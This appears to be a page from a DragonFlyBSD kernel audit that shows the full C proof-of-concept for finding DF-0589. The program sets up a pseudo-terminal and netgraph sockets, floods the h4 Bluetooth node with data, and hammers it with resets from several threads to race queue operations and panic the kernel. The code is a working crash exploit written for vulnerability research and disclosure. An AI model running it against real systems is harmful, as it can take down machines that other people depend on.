โฌข DragonFlyBSD Kernel Audit
DF-0589 / race.c
โ† back to finding โ†“ download raw
/*
 * DF-0589 PoC: race sc->outq IF_DEQUEUE (ng_h4_start, tty l_start ctx)
 * vs IF_DRAIN (ng_h4_disconnect / NGM_H4_NODE_RESET, netgraph ctx).
 *
 * Constructs netgraph7-format ng_mesg manually (NG_VERSION=8, u32 arglen)
 * since the system's libnetgraph/ngctl use the incompatible old-netgraph ABI.
 *
 * Build:  cc -O2 -lpthread -lutil -o race race.c
 * Run:    ./race [duration_sec]    (as root or SYSCAP_NONET_NETGRAPH holder)
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <libutil.h>
#include <sys/ioccom.h>

/* ---- netgraph7 constants (from sys/netgraph7/) ---- */
#define AF_NETGRAPH         32
#define NG_CONTROL          2
#define NG_DATA             1
#define NG_VERSION          8
#define NGM_GENERIC_COOKIE  1137070366U
#define NGM_CONNECT         3
#define NGM_MKPEER          2
#define NGM_NODEINFO        (6|0x10000000|0x20000000)  /* READONLY|HASREPLY */
#define NG_PATHSIZ          512
#define NG_TYPESIZ          32
#define NG_HOOKSIZ          32
#define NG_NODESIZ          32
#define NG_CMDSTRSIZ        32

#define NGM_H4_COOKIE       1013899512U
#define NGM_H4_NODE_RESET   1
#define NG_H4_HOOK          "hook"

/* netgraph7 ng_mesg header (56 bytes) */
struct ng7_msghdr {
    u_int8_t    version;
    u_int8_t    spare;
    u_int16_t   spare2;
    u_int32_t   arglen;
    u_int32_t   cmd;
    u_int32_t   flags;
    u_int32_t   token;
    u_int32_t   typecookie;
    u_int8_t    cmdstr[NG_CMDSTRSIZ];
} __attribute__((packed));

struct ng7_mesg {
    struct ng7_msghdr header;
    char data[];
} __attribute__((packed));

/* sockaddr_ng */
struct sockaddr_ng7 {
    u_int8_t    sg_len;
    u_int8_t    sg_family;   /* sa_family_t */
    char        sg_data[32];
};

struct ngm_connect7 {
    char path[NG_PATHSIZ];
    char ourhook[NG_HOOKSIZ];
    char peerhook[NG_HOOKSIZ];
};

struct nodeinfo7 {
    u_int32_t id;
    char name[NG_NODESIZ];
    u_int32_t type[2];  /* typecookie stuff */
    u_int32_t hooks;
    /* ... more fields, but we only need name */
};

/* NGIOCGINFO ioctl โ€” _IOR('N', 40, struct nodeinfo). The netgraph7 and old
 * netgraph nodeinfo structs differ, but the name field offset is the same
 * (after u_int32_t id). So we just read id+name from the ioctl. */

#define BTUARTDISC       7
#define FLOOD_PKT_LEN   64

/* NGIOCGINFO = _IOR('N', 40, struct nodeinfo).
 * nodeinfo = name[32]+type[32]+id(4)+hooks(4) = 72 bytes */
struct ng7_nodeinfo { char name[32]; char type[32]; u_int32_t id; u_int32_t hooks; };
#define NGIOCGINFO7  _IOR('N', 40, struct ng7_nodeinfo)

static int  master_fd = -1, slave_fd = -1;
static int  csock = -1, dsock = -1;
static char h4name[NG_NODESIZ];
static volatile int stop = 0;
static volatile unsigned long reset_count = 0;
static volatile unsigned long data_count = 0;

/* ---- Send a netgraph7 control message ---- */
static int
ng7_send_msg(int sock, const char *path, u_int32_t cookie, u_int32_t cmd,
             const void *payload, size_t plen)
{
    size_t total = sizeof(struct ng7_msghdr) + plen;
    struct ng7_mesg *msg = calloc(1, total);
    if (!msg) return -1;
    msg->header.version    = NG_VERSION;
    msg->header.arglen     = plen;
    msg->header.cmd        = cmd;
    msg->header.flags      = 0;
    msg->header.token      = 0;
    msg->header.typecookie = cookie;
    if (plen > 0 && payload)
        memcpy(msg->data, payload, plen);

    struct sockaddr_ng7 addr;
    memset(&addr, 0, sizeof(addr));
    addr.sg_family = AF_NETGRAPH;
    size_t pl = strlen(path);
    if (pl > sizeof(addr.sg_data) - 1) pl = sizeof(addr.sg_data) - 1;
    memcpy(addr.sg_data, path, pl);
    addr.sg_data[pl] = '\0';
    addr.sg_len = 2 + pl + 1;

    int rc = sendto(sock, msg, total, 0, (struct sockaddr *)&addr, addr.sg_len);
    free(msg);
    return rc;
}

/* ---- Send data on a netgraph7 data socket ---- */
static int
ng7_send_data(int sock, const char *hook, const void *buf, size_t len)
{
    struct sockaddr_ng7 addr;
    memset(&addr, 0, sizeof(addr));
    addr.sg_family = AF_NETGRAPH;
    size_t hl = strlen(hook);
    if (hl > sizeof(addr.sg_data) - 1) hl = sizeof(addr.sg_data) - 1;
    memcpy(addr.sg_data, hook, hl);
    addr.sg_data[hl] = '\0';
    addr.sg_len = 2 + hl + 1;
    return sendto(sock, buf, len, 0, (struct sockaddr *)&addr, addr.sg_len);
}

/* ---- Thread A: flood outq via ng data socket ---- */
static void *
flooder(void *arg)
{
    unsigned char buf[FLOOD_PKT_LEN];
    memset(buf, 0xAA, sizeof(buf));
    (void)arg;
    while (!stop) {
        if (ng7_send_data(dsock, "lower", buf, sizeof(buf)) > 0)
            __sync_fetch_and_add(&data_count, 1);
    }
    return NULL;
}

/* ---- Thread B: read pty master SLOWLY โ†’ keep clist full โ†’ forces
 *      ng_h4_start callout path (ng_h4_process_timeout on softclock thread).
 *      When clist is full, IF_PREPEND fires + 1-tick callout scheduled.
 *      The callout-driven ng_h4_start (IF_DEQUEUE) races with RESET (IF_DRAIN). */
static void *
pty_reader(void *arg)
{
    unsigned char rbuf[16];
    (void)arg;
    while (!stop) {
        /* Read very little, very slowly โ†’ clist stays mostly full */
        int n = read(master_fd, rbuf, sizeof(rbuf));
        (void)n;
        usleep(1000); /* 1ms between reads */
    }
    return NULL;
}

/* ---- Thread C: race RESET (IF_DRAIN) against l_start (IF_DEQUEUE) ---- */
static void *
racer(void *arg)
{
    (void)arg;
    while (!stop) {
        char pathbuf[NG_NODESIZ + 2];
        snprintf(pathbuf, sizeof(pathbuf), "%s:", h4name);
        if (ng7_send_msg(csock, pathbuf, NGM_H4_COOKIE, NGM_H4_NODE_RESET,
                         NULL, 0) >= 0)
            __sync_fetch_and_add(&reset_count, 1);
    }
    return NULL;
}

int
main(int argc, char **argv)
{
    int ld = BTUARTDISC;
    pthread_t th[6];
    int nt = 0;
    int duration = 60;

    if (argc > 1) duration = atoi(argv[1]);

    /* 1. pty pair */
    if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) < 0) {
        perror("openpty"); return 1;
    }
    fcntl(master_fd, F_SETFL, O_NONBLOCK);

    /* 2. BTUARTDISC โ†’ creates h4 node */
    if (ioctl(slave_fd, TIOCSETD, &ld) < 0) {
        perror("TIOCSETD BTUARTDISC");
        fprintf(stderr, "(needs SYSCAP_NONET_NETGRAPH capability / root)\n");
        return 1;
    }

    /* 3. get h4 node name via NGIOCGINFO */
    {
        struct ng7_nodeinfo ni;
        memset(&ni, 0, sizeof(ni));
        if (ioctl(slave_fd, NGIOCGINFO7, &ni) < 0) {
            perror("NGIOCGINFO");
            return 1;
        }
        snprintf(h4name, sizeof(h4name), "%s", ni.name);
        fprintf(stderr, "DF-0589: h4 node='%s' id=%u hooks=%u\n",
                h4name, ni.id, ni.hooks);
    }

    /* 4. create ng sockets */
    csock = socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL);
    dsock = socket(AF_NETGRAPH, SOCK_DGRAM, NG_DATA);
    if (csock < 0 || dsock < 0) {
        perror("ng socket"); return 1;
    }
    fprintf(stderr, "DF-0589: csock=%d dsock=%d\n", csock, dsock);

    /* 4a. name the control socket's node via bind() */
    {
        char myname[NG_NODESIZ];
        struct sockaddr_ng7 addr;
        memset(&addr, 0, sizeof(addr));
        addr.sg_family = AF_NETGRAPH;
        snprintf(myname, sizeof(myname), "df589_%d", getpid());
        size_t nl = strlen(myname);
        memcpy(addr.sg_data, myname, nl + 1);
        addr.sg_len = 2 + nl + 1;
        if (bind(csock, (struct sockaddr *)&addr, addr.sg_len) < 0) {
            perror("bind csock"); return 1;
        }
    }

    /* 4b. connect data socket to the control socket's node */
    {
        char myname[NG_NODESIZ];
        struct sockaddr_ng7 addr;
        memset(&addr, 0, sizeof(addr));
        addr.sg_family = AF_NETGRAPH;
        snprintf(myname, sizeof(myname), "df589_%d:", getpid());
        size_t nl = strlen(myname);
        memcpy(addr.sg_data, myname, nl + 1);
        addr.sg_len = 2 + nl + 1;
        if (connect(dsock, (struct sockaddr *)&addr, addr.sg_len) < 0) {
            perror("connect dsock"); return 1;
        }
    }
    fprintf(stderr, "DF-0589: csock+dsock share one node\n");

    /* 5. connect our "lower" hook โ†’ h4 node "hook" via NGM_CONNECT */
    struct ngm_connect7 c;
    memset(&c, 0, sizeof(c));
    snprintf(c.path, sizeof(c.path), "%s:", h4name);  /* "nodename:" for by-name lookup */
    snprintf(c.ourhook, sizeof(c.ourhook), "lower");
    snprintf(c.peerhook, sizeof(c.peerhook), "%s", NG_H4_HOOK);
    if (ng7_send_msg(csock, ".", NGM_GENERIC_COOKIE, NGM_CONNECT, &c, sizeof(c)) < 0) {
        perror("NGM_CONNECT");
        /* Try without ourhook == peerhook match; try mkpeer approach */
        return 1;
    }
    fprintf(stderr, "DF-0589: connected lower โ†’ %s:%s\n", h4name, NG_H4_HOOK);

    fprintf(stderr,
        "DF-0589: racing IF_DEQUEUE(ng_h4_start) vs IF_DRAIN(RESET) for %ds...\n",
        duration);

    pthread_create(&th[nt++], NULL, flooder,    NULL);
    pthread_create(&th[nt++], NULL, flooder,    NULL);
    pthread_create(&th[nt++], NULL, pty_reader, NULL);
    pthread_create(&th[nt++], NULL, racer,      NULL);
    pthread_create(&th[nt++], NULL, racer,      NULL);
    pthread_create(&th[nt++], NULL, racer,      NULL);

    for (int i = 0; i < duration && !stop; i++) {
        sleep(1);
        if (i > 0 && i % 10 == 0)
            fprintf(stderr, "  [%ds] data=%lu resets=%lu\n",
                    i, data_count, reset_count);
    }
    stop = 1; __sync_synchronize();
    for (int i = 0; i < nt; i++) pthread_join(th[i], NULL);

    fprintf(stderr, "DF-0589: finished. data=%lu resets=%lu\n",
            data_count, reset_count);
    fprintf(stderr, "Check dmesg/boot.log for panic.\n");
    return 0;
}